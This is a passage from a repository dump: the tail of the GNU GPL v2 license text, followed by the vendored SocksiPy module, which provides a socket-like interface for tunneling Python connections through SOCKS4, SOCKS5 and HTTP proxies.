to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /thirdparty/httplib2/socks.py: -------------------------------------------------------------------------------- 1 | """SocksiPy - Python SOCKS module. 2 | Version 1.00 3 | 4 | Copyright 2006 Dan-Haim. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without modification, 7 | are permitted provided that the following conditions are met: 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 2. Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 3. Neither the name of Dan Haim nor the names of his contributors may be used 14 | to endorse or promote products derived from this software without specific 15 | prior written permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED 18 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 19 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO 20 | EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 21 | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 22 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA 23 | OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 24 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 25 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. 26 | 27 | 28 | This module provides a standard socket-like interface for Python 29 | for tunneling connections through SOCKS proxies. 30 | 31 | """ 32 | 33 | """ 34 | 35 | Minor modifications made by Christopher Gilbert (http://motomastyle.com/) 36 | for use in PyLoris (http://pyloris.sourceforge.net/) 37 | 38 | Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) 39 | mainly to merge bug fixes found in Sourceforge 40 | 41 | """ 42 | 43 | import base64 44 | import socket 45 | import struct 46 | import sys 47 | 48 | if getattr(socket, 'socket', None) is None: 49 | raise ImportError('socket.socket missing, proxy support unusable') 50 | 51 | PROXY_TYPE_SOCKS4 = 1 52 | PROXY_TYPE_SOCKS5 = 2 53 | PROXY_TYPE_HTTP = 3 54 | PROXY_TYPE_HTTP_NO_TUNNEL = 4 55 | 56 | _defaultproxy = None 57 | _orgsocket = socket.socket 58 | 59 | class ProxyError(Exception): pass 60 | class GeneralProxyError(ProxyError): pass 61 | class Socks5AuthError(ProxyError): pass 62 | class Socks5Error(ProxyError): pass 63 | class Socks4Error(ProxyError): pass 64 | class HTTPError(ProxyError): pass 65 | 66 | _generalerrors = ("success", 67 | "invalid data", 68 | "not connected", 69 | "not available", 70 | "bad proxy type", 71 | "bad input") 72 | 73 | _socks5errors = ("succeeded", 74 | "general SOCKS server failure", 75 | "connection not allowed by ruleset", 76 | "Network unreachable", 77 | "Host unreachable", 78 | "Connection refused", 79 | "TTL expired", 80 | "Command not supported", 81 | "Address type not supported", 82 | "Unknown error") 83 | 84 | _socks5autherrors = ("succeeded", 85 | "authentication is required", 86 | "all offered authentication methods were rejected", 87 | "unknown username or invalid password", 88 | "unknown error") 89 | 90 | _socks4errors = ("request granted", 91 | "request rejected or failed", 92 | "request rejected because SOCKS server cannot connect to identd on the client", 93 | "request rejected because the client program and identd report different user-ids", 94 | "unknown error") 95 | 96 | def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): 97 | """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) 98 | Sets a default proxy which all further socksocket objects will use, 99 | unless explicitly changed. 100 | """ 101 | global _defaultproxy 102 | _defaultproxy = (proxytype, addr, port, rdns, username, password) 103 | 104 | def wrapmodule(module): 105 | """wrapmodule(module) 106 | Attempts to replace a module's socket library with a SOCKS socket. Must set 107 | a default proxy using setdefaultproxy(...) first. 108 | This will only work on modules that import socket directly into the namespace; 109 | most of the Python Standard Library falls into this category. 110 | """ 111 | if _defaultproxy != None: 112 | module.socket.socket = socksocket 113 | else: 114 | raise GeneralProxyError((4, "no proxy specified")) 115 | 116 | class socksocket(socket.socket): 117 | """socksocket([family[, type[, proto]]]) -> socket object 118 | Open a SOCKS enabled socket. The parameters are the same as 119 | those of the standard socket init. In order for SOCKS to work, 120 | you must specify family=AF_INET, type=SOCK_STREAM and proto=0. 121 | """ 122 | 123 | def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): 124 | _orgsocket.__init__(self, family, type, proto, _sock) 125 | if _defaultproxy != None: 126 | self.__proxy = _defaultproxy 127 | else: 128 | self.__proxy = (None, None, None, None, None, None) 129 | self.__proxysockname = None 130 | self.__proxypeername = None 131 | self.__httptunnel = True 132 | 133 | def __recvall(self, count): 134 | """__recvall(count) -> data 135 | Receive EXACTLY the number of bytes requested from the socket. 136 | Blocks until the required number of bytes have been received. 137 | """ 138 | data = self.recv(count) 139 | while len(data) < count: 140 | d = self.recv(count-len(data)) 141 | if not d: raise GeneralProxyError((0, "connection closed unexpectedly")) 142 | data = data + d 143 | return data 144 | 145 | def sendall(self, content, *args): 146 | """ override socket.socket.sendall method to rewrite the header 147 | for non-tunneling proxies if needed 148 | """ 149 | if not self.__httptunnel: 150 | content = self.__rewriteproxy(content) 151 | return super(socksocket, self).sendall(content, *args) 152 | 153 | def __rewriteproxy(self, header): 154 | """ rewrite HTTP request headers to support non-tunneling proxies 155 | (i.e. those which do not support the CONNECT method). 156 | This only works for HTTP (not HTTPS) since HTTPS requires tunneling. 157 | """ 158 | host, endpt = None, None 159 | hdrs = header.split("\r\n") 160 | for hdr in hdrs: 161 | if hdr.lower().startswith("host:"): 162 | host = hdr 163 | elif hdr.lower().startswith("get") or hdr.lower().startswith("post"): 164 | endpt = hdr 165 | if host and endpt: 166 | hdrs.remove(host) 167 | hdrs.remove(endpt) 168 | host = host.split(" ")[1] 169 | endpt = endpt.split(" ") 170 | if (self.__proxy[4] != None and self.__proxy[5] != None): 171 | hdrs.insert(0, self.__getauthheader()) 172 | hdrs.insert(0, "Host: %s" % host) 173 | hdrs.insert(0, "%s http://%s%s %s" % (endpt[0], host, endpt[1], endpt[2])) 174 | return "\r\n".join(hdrs) 175 | 176 | def __getauthheader(self): 177 | auth = self.__proxy[4] + ":" + self.__proxy[5] 178 | return "Proxy-Authorization: Basic " + base64.b64encode(auth) 179 | 180 | def setproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): 181 | """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) 182 | Sets the proxy to be used. 183 | proxytype - The type of the proxy to be used. Three types 184 | are supported: PROXY_TYPE_SOCKS4 (including socks4a), 185 | PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP 186 | addr - The address of the server (IP or DNS). 187 | port - The port of the server. Defaults to 1080 for SOCKS 188 | servers and 8080 for HTTP proxy servers. 189 | rdns - Should DNS queries be preformed on the remote side 190 | (rather than the local side). The default is True. 191 | Note: This has no effect with SOCKS4 servers. 192 | username - Username to authenticate with to the server. 193 | The default is no authentication. 194 | password - Password to authenticate with to the server. 195 | Only relevant when username is also provided. 196 | """ 197 | self.__proxy = (proxytype, addr, port, rdns, username, password) 198 | 199 | def __negotiatesocks5(self, destaddr, destport): 200 | """__negotiatesocks5(self,destaddr,destport) 201 | Negotiates a connection through a SOCKS5 server. 202 | """ 203 | # First we'll send the authentication packages we support. 204 | if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): 205 | # The username/password details were supplied to the 206 | # setproxy method so we support the USERNAME/PASSWORD 207 | # authentication (in addition to the standard none). 208 | self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02)) 209 | else: 210 | # No username/password were entered, therefore we 211 | # only support connections with no authentication. 212 | self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00)) 213 | # We'll receive the server's response to determine which 214 | # method was selected 215 | chosenauth = self.__recvall(2) 216 | if chosenauth[0:1] != chr(0x05).encode(): 217 | self.close() 218 | raise GeneralProxyError((1, _generalerrors[1])) 219 | # Check the chosen authentication method 220 | if chosenauth[1:2] == chr(0x00).encode(): 221 | # No authentication is required 222 | pass 223 | elif chosenauth[1:2] == chr(0x02).encode(): 224 | # Okay, we need to perform a basic username/password 225 | # authentication. 226 | self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) 227 | authstat = self.__recvall(2) 228 | if authstat[0:1] != chr(0x01).encode(): 229 | # Bad response 230 | self.close() 231 | raise GeneralProxyError((1, _generalerrors[1])) 232 | if authstat[1:2] != chr(0x00).encode(): 233 | # Authentication failed 234 | self.close() 235 | raise Socks5AuthError((3, _socks5autherrors[3])) 236 | # Authentication succeeded 237 | else: 238 | # Reaching here is always bad 239 | self.close() 240 | if chosenauth[1] == chr(0xFF).encode(): 241 | raise Socks5AuthError((2, _socks5autherrors[2])) 242 | else: 243 | raise GeneralProxyError((1, _generalerrors[1])) 244 | # Now we can request the actual connection 245 | req = struct.pack('BBB', 0x05, 0x01, 0x00) 246 | # If the given destination address is an IP address, we'll 247 | # use the IPv4 address request even if remote resolving was specified. 248 | try: 249 | ipaddr = socket.inet_aton(destaddr) 250 | req = req + chr(0x01).encode() + ipaddr 251 | except socket.error: 252 | # Well it's not an IP number, so it's probably a DNS name. 253 | if self.__proxy[3]: 254 | # Resolve remotely 255 | ipaddr = None 256 | req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr 257 | else: 258 | # Resolve locally 259 | ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) 260 | req = req + chr(0x01).encode() + ipaddr 261 | req = req + struct.pack(">H", destport) 262 | self.sendall(req) 263 | # Get the response 264 | resp = self.__recvall(4) 265 | if resp[0:1] != chr(0x05).encode(): 266 | self.close() 267 | raise GeneralProxyError((1, _generalerrors[1])) 268 | elif resp[1:2] != chr(0x00).encode(): 269 | # Connection failed 270 | self.close() 271 | if ord(resp[1:2])<=8: 272 | raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) 273 | else: 274 | raise Socks5Error((9, _socks5errors[9])) 275 | # Get the bound address/port 276 | elif resp[3:4] == chr(0x01).encode(): 277 | boundaddr = self.__recvall(4) 278 | elif resp[3:4] == chr(0x03).encode(): 279 | resp = resp + self.recv(1) 280 | boundaddr = self.__recvall(ord(resp[4:5])) 281 | else: 282 | self.close() 283 | raise GeneralProxyError((1,_generalerrors[1])) 284 | boundport = struct.unpack(">H", self.__recvall(2))[0] 285 | self.__proxysockname = (boundaddr, boundport) 286 | if ipaddr != None: 287 | self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) 288 | else: 289 | self.__proxypeername = (destaddr, destport) 290 | 291 | def getproxysockname(self): 292 | """getsockname() -> address info 293 | Returns the bound IP address and port number at the proxy. 294 | """ 295 | return self.__proxysockname 296 | 297 | def getproxypeername(self): 298 | """getproxypeername() -> address info 299 | Returns the IP and port number of the proxy. 300 | """ 301 | return _orgsocket.getpeername(self) 302 | 303 | def getpeername(self): 304 | """getpeername() -> address info 305 | Returns the IP address and port number of the destination 306 | machine (note: getproxypeername returns the proxy) 307 | """ 308 | return self.__proxypeername 309 | 310 | def __negotiatesocks4(self,destaddr,destport): 311 | """__negotiatesocks4(self,destaddr,destport) 312 | Negotiates a connection through a SOCKS4 server. 313 | """ 314 | # Check if the destination address provided is an IP address 315 | rmtrslv = False 316 | try: 317 | ipaddr = socket.inet_aton(destaddr) 318 | except socket.error: 319 | # It's a DNS name. Check where it should be resolved. 320 | if self.__proxy[3]: 321 | ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) 322 | rmtrslv = True 323 | else: 324 | ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) 325 | # Construct the request packet 326 | req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr 327 | # The username parameter is considered userid for SOCKS4 328 | if self.__proxy[4] != None: 329 | req = req + self.__proxy[4] 330 | req = req + chr(0x00).encode() 331 | # DNS name if remote resolving is required 332 | # NOTE: This is actually an extension to the SOCKS4 protocol 333 | # called SOCKS4A and may not be supported in all cases. 334 | if rmtrslv: 335 | req = req + destaddr + chr(0x00).encode() 336 | self.sendall(req) 337 | # Get the response from the server 338 | resp = self.__recvall(8) 339 | if resp[0:1] != chr(0x00).encode(): 340 | # Bad data 341 | self.close() 342 | raise GeneralProxyError((1,_generalerrors[1])) 343 | if resp[1:2] != chr(0x5A).encode(): 344 | # Server returned an error 345 | self.close() 346 | if ord(resp[1:2]) in (91, 92, 93): 347 | self.close() 348 | raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) 349 | else: 350 | raise Socks4Error((94, _socks4errors[4])) 351 | # Get the bound address/port 352 | self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) 353 | if rmtrslv != None: 354 | self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) 355 | else: 356 | self.__proxypeername = (destaddr, destport) 357 | 358 | def __negotiatehttp(self, destaddr, destport): 359 | """__negotiatehttp(self,destaddr,destport) 360 | Negotiates a connection through an HTTP server. 361 | """ 362 | # If we need to resolve locally, we do this now 363 | if not self.__proxy[3]: 364 | addr = socket.gethostbyname(destaddr) 365 | else: 366 | addr = destaddr 367 | headers = ["CONNECT ", addr, ":", str(destport), " HTTP/1.1\r\n"] 368 | headers += ["Host: ", destaddr, "\r\n"] 369 | if (self.__proxy[4] != None and self.__proxy[5] != None): 370 | headers += [self.__getauthheader(), "\r\n"] 371 | headers.append("\r\n") 372 | self.sendall("".join(headers).encode()) 373 | # We read the response until we get the string "\r\n\r\n" 374 | resp = self.recv(1) 375 | while resp.find("\r\n\r\n".encode()) == -1: 376 | resp = resp + self.recv(1) 377 | # We just need the first line to check if the connection 378 | # was successful 379 | statusline = resp.splitlines()[0].split(" ".encode(), 2) 380 | if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): 381 | self.close() 382 | raise GeneralProxyError((1, _generalerrors[1])) 383 | try: 384 | statuscode = int(statusline[1]) 385 | except ValueError: 386 | self.close() 387 | raise GeneralProxyError((1, _generalerrors[1])) 388 | if statuscode != 200: 389 | self.close() 390 | raise HTTPError((statuscode, statusline[2])) 391 | self.__proxysockname = ("0.0.0.0", 0) 392 | self.__proxypeername = (addr, destport) 393 | 394 | def connect(self, destpair): 395 | """connect(self, despair) 396 | Connects to the specified destination through a proxy. 397 | destpar - A tuple of the IP/DNS address and the port number. 398 | (identical to socket's connect). 399 | To select the proxy server use setproxy(). 400 | """ 401 | # Do a minimal input check first 402 | if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (not isinstance(destpair[0], basestring)) or (type(destpair[1]) != int): 403 | raise GeneralProxyError((5, _generalerrors[5])) 404 | if self.__proxy[0] == PROXY_TYPE_SOCKS5: 405 | if self.__proxy[2] != None: 406 | portnum = self.__proxy[2] 407 | else: 408 | portnum = 1080 409 | _orgsocket.connect(self, (self.__proxy[1], portnum)) 410 | self.__negotiatesocks5(destpair[0], destpair[1]) 411 | elif self.__proxy[0] == PROXY_TYPE_SOCKS4: 412 | if self.__proxy[2] != None: 413 | portnum = self.__proxy[2] 414 | else: 415 | portnum = 1080 416 | _orgsocket.connect(self,(self.__proxy[1], portnum)) 417 | self.__negotiatesocks4(destpair[0], destpair[1]) 418 | elif self.__proxy[0] == PROXY_TYPE_HTTP: 419 | if self.__proxy[2] != None: 420 | portnum = self.__proxy[2] 421 | else: 422 | portnum = 8080 423 | _orgsocket.connect(self,(self.__proxy[1], portnum)) 424 | self.__negotiatehttp(destpair[0], destpair[1]) 425 | elif self.__proxy[0] == PROXY_TYPE_HTTP_NO_TUNNEL: 426 | if self.__proxy[2] != None: 427 | portnum = self.__proxy[2] 428 | else: 429 | portnum = 8080 430 | _orgsocket.connect(self,(self.__proxy[1],portnum)) 431 | if destpair[1] == 443: 432 | self.__negotiatehttp(destpair[0],destpair[1]) 433 | else: 434 | self.__httptunnel = False 435 | elif self.__proxy[0] == None: 436 | _orgsocket.connect(self, (destpair[0], destpair[1])) 437 | else: 438 | raise GeneralProxyError((4, _generalerrors[4])) 439 | --------------------------------------------------------------------------------